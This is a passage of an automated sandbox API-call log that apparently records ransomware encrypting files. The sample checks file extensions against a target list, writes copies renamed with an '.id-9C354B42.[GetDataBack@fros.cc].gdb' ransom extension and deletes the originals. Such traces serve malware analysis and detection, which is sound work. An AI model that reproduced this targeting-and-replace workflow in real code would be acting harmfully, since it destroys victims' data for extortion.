[0121.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0122.138] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2575) returned 1 [0122.138] CloseHandle (hObject=0x210) returned 1 [0122.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0122.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.138] lstrlenW (lpString=".doc") returned 4 [0122.138] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.138] lstrlenW (lpString=".docx") returned 5 [0122.138] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0122.138] lstrlenW (lpString=".pdf") returned 4 [0122.138] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.138] lstrlenW (lpString=".xls") returned 4 [0122.138] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.138] lstrlenW (lpString=".xlsx") returned 5 [0122.138] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0122.139] lstrlenW (lpString=".ppt") returned 4 [0122.139] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.139] lstrlenW (lpString=".zip") returned 4 [0122.139] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.139] lstrlenW (lpString=".rar") returned 4 [0122.139] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.139] lstrlenW (lpString=".bz2") returned 4 [0122.139] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.139] lstrlenW (lpString=".7z") returned 3 [0122.139] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.139] lstrlenW (lpString=".dbf") returned 4 [0122.139] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.139] lstrlenW (lpString=".1cd") returned 4 [0122.139] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0122.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.139] lstrlenW (lpString=".jpg") returned 4 [0122.139] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0122.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.139] lstrlenW (lpString=".doc") returned 4 [0122.139] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.139] lstrlenW (lpString=".docx") returned 5 [0122.139] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0122.139] lstrlenW (lpString=".pdf") returned 4 [0122.139] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.139] lstrlenW (lpString=".xls") returned 4 [0122.139] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.139] lstrlenW (lpString=".xlsx") returned 5 [0122.139] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0122.139] lstrlenW (lpString=".ppt") returned 4 [0122.139] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.139] lstrlenW (lpString=".zip") returned 4 [0122.139] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.139] lstrlenW (lpString=".rar") returned 4 [0122.139] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.139] lstrlenW (lpString=".bz2") returned 4 [0122.139] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.139] lstrlenW (lpString=".7z") returned 3 [0122.139] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.140] lstrlenW (lpString=".dbf") returned 4 [0122.140] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.140] lstrlenW (lpString=".1cd") returned 4 [0122.140] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0122.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0122.140] lstrlenW (lpString=".jpg") returned 4 [0122.140] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0122.140] lstrcmpiW (lpString1=".ini", lpString2=".gdb") returned 1 [0122.142] lstrlenW (lpString="Desktop.ini") returned 11 [0122.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.142] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=645) returned 1 [0122.142] CloseHandle (hObject=0x208) returned 1 [0122.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0122.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.142] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.142] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.142] GetLastError () returned 0x0 [0122.143] ReadFile (in: hFile=0x208, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x285, lpOverlapped=0x0) returned 1 [0122.143] WriteFile (in: hFile=0x214, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x290, lpOverlapped=0x0) returned 1 [0122.144] ReadFile (in: hFile=0x208, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0122.144] WriteFile (in: hFile=0x214, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0122.144] SetEndOfFile (hFile=0x214) returned 1 [0122.144] CloseHandle (hObject=0x214) returned 1 [0122.145] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.145] SetEndOfFile (hFile=0x208) returned 1 [0122.146] CloseHandle (hObject=0x208) returned 1 [0122.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x26) returned 1 [0122.146] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0122.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.146] lstrlenW (lpString=".doc") returned 4 [0122.146] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0122.146] lstrlenW (lpString=".docx") returned 5 [0122.146] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0122.146] lstrlenW (lpString=".pdf") returned 4 [0122.146] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0122.146] lstrlenW (lpString=".xls") returned 4 [0122.146] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0122.146] lstrlenW (lpString=".xlsx") returned 5 [0122.146] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0122.146] lstrlenW (lpString=".ppt") returned 4 [0122.146] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0122.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.146] lstrlenW (lpString=".zip") returned 4 [0122.146] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0122.146] lstrlenW (lpString=".rar") returned 4 [0122.146] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0122.146] lstrlenW (lpString=".bz2") returned 4 [0122.146] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0122.147] lstrlenW (lpString=".7z") returned 3 [0122.147] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString=".dbf") returned 4 [0122.147] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString=".1cd") returned 4 [0122.147] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString=".jpg") returned 4 [0122.147] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString=".doc") returned 4 [0122.147] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0122.147] lstrlenW (lpString=".docx") returned 5 [0122.147] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0122.147] lstrlenW (lpString=".pdf") returned 4 [0122.147] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0122.147] lstrlenW (lpString=".xls") returned 4 [0122.147] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0122.147] lstrlenW (lpString=".xlsx") returned 5 [0122.147] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0122.147] lstrlenW (lpString=".ppt") returned 4 [0122.147] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString=".zip") returned 4 [0122.147] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0122.147] lstrlenW (lpString=".rar") returned 4 [0122.147] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0122.147] lstrlenW (lpString=".bz2") returned 4 [0122.147] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0122.147] lstrlenW (lpString=".7z") returned 3 [0122.147] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString=".dbf") returned 4 [0122.147] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString=".1cd") returned 4 [0122.147] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0122.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0122.147] lstrlenW (lpString=".jpg") returned 4 [0122.147] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0122.148] lstrcmpiW (lpString1=".emf", lpString2=".gdb") returned -1 [0122.148] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0122.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.148] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=3792) returned 1 [0122.148] CloseHandle (hObject=0x208) returned 1 [0122.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0122.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.148] lstrlenW (lpString=".doc") returned 4 [0122.148] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0122.148] lstrlenW (lpString=".docx") returned 5 [0122.148] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0122.148] lstrlenW (lpString=".pdf") returned 4 [0122.148] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0122.148] lstrlenW (lpString=".xls") returned 4 [0122.148] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0122.148] lstrlenW (lpString=".xlsx") returned 5 [0122.149] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0122.149] lstrlenW (lpString=".ppt") returned 4 [0122.149] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0122.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.149] lstrlenW (lpString=".zip") returned 4 [0122.149] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0122.149] lstrlenW (lpString=".rar") returned 4 [0122.149] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0122.149] lstrlenW (lpString=".bz2") returned 4 [0122.149] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0122.149] lstrlenW (lpString=".7z") returned 3 [0122.149] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0122.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.149] lstrlenW (lpString=".dbf") returned 4 [0122.149] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0122.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.149] lstrlenW (lpString=".1cd") returned 4 [0122.149] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0122.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.149] lstrlenW (lpString=".jpg") returned 4 [0122.149] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0122.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.149] lstrlenW (lpString=".doc") returned 4 [0122.149] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0122.149] lstrlenW (lpString=".docx") returned 5 [0122.149] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0122.149] lstrlenW (lpString=".pdf") returned 4 [0122.149] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0122.149] lstrlenW (lpString=".xls") returned 4 [0122.149] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0122.149] lstrlenW (lpString=".xlsx") returned 5 [0122.149] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0122.149] lstrlenW (lpString=".ppt") returned 4 [0122.149] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0122.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.149] lstrlenW (lpString=".zip") returned 4 [0122.149] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0122.149] lstrlenW (lpString=".rar") returned 4 [0122.150] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0122.150] lstrlenW (lpString=".bz2") returned 4 [0122.150] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0122.150] lstrlenW (lpString=".7z") returned 3 [0122.150] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0122.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.150] lstrlenW (lpString=".dbf") returned 4 [0122.150] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0122.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.150] lstrlenW (lpString=".1cd") returned 4 [0122.150] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0122.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0122.150] lstrlenW (lpString=".jpg") returned 4 [0122.150] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0122.150] lstrcmpiW (lpString1=".htm", lpString2=".gdb") returned 1 [0122.150] lstrlenW (lpString="Garden.htm") returned 10 [0122.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.150] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=231) returned 1 [0122.150] CloseHandle (hObject=0x208) returned 1 [0122.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0122.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.151] lstrlenW (lpString=".doc") returned 4 [0122.151] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0122.151] lstrlenW (lpString=".docx") returned 5 [0122.151] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0122.151] lstrlenW (lpString=".pdf") returned 4 [0122.151] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0122.151] lstrlenW (lpString=".xls") returned 4 [0122.151] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0122.151] lstrlenW (lpString=".xlsx") returned 5 [0122.151] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0122.151] lstrlenW (lpString=".ppt") returned 4 [0122.151] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0122.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.151] lstrlenW (lpString=".zip") returned 4 [0122.151] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0122.151] lstrlenW (lpString=".rar") returned 4 [0122.151] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0122.151] lstrlenW (lpString=".bz2") returned 4 [0122.151] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0122.151] lstrlenW (lpString=".7z") returned 3 [0122.151] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0122.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.151] lstrlenW (lpString=".dbf") returned 4 [0122.151] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0122.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.151] lstrlenW (lpString=".1cd") returned 4 [0122.151] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0122.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.151] lstrlenW (lpString=".jpg") returned 4 [0122.151] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0122.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.152] lstrlenW (lpString=".doc") returned 4 [0122.152] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0122.152] lstrlenW (lpString=".docx") returned 5 [0122.152] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0122.152] lstrlenW (lpString=".pdf") returned 4 [0122.152] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0122.152] lstrlenW (lpString=".xls") returned 4 [0122.152] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0122.152] lstrlenW (lpString=".xlsx") returned 5 [0122.152] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0122.152] lstrlenW (lpString=".ppt") returned 4 [0122.152] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0122.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.152] lstrlenW (lpString=".zip") returned 4 [0122.152] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0122.152] lstrlenW (lpString=".rar") returned 4 [0122.152] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0122.152] lstrlenW (lpString=".bz2") returned 4 [0122.152] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0122.152] lstrlenW (lpString=".7z") returned 3 [0122.152] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0122.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.152] lstrlenW (lpString=".dbf") returned 4 [0122.152] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0122.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.152] lstrlenW (lpString=".1cd") returned 4 [0122.152] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0122.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0122.152] lstrlenW (lpString=".jpg") returned 4 [0122.152] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0122.152] lstrcmpiW (lpString1=".jpg", lpString2=".gdb") returned 1 [0122.152] lstrlenW (lpString="Garden.jpg") returned 10 [0122.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.153] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=23871) returned 1 [0122.153] CloseHandle (hObject=0x208) returned 1 [0122.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common 